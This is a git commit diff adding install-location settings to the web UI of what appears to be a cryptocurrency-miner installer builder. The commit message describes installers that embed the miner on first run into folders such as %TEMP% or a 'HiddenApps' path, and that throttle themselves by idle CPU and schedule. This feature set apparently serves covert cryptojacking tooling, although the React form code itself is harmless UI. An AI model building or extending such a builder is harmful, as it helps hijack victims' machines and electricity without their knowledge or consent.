Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -244,6 +244,46 @@ export default function SettingsPage() {
/>
</div>
</div>
<div className="form-section">
<h3>Install Location Defaults</h3>
<p className="section-desc">Where built installers embed the miner on first run.</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select
className="select"
value={config.default_agent_config.install_base || 'localappdata'}
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
</div>
{config.default_agent_config.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_custom_base || ''}
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
placeholder="%ProgramData%\\HiddenApps"
/>
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
/>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>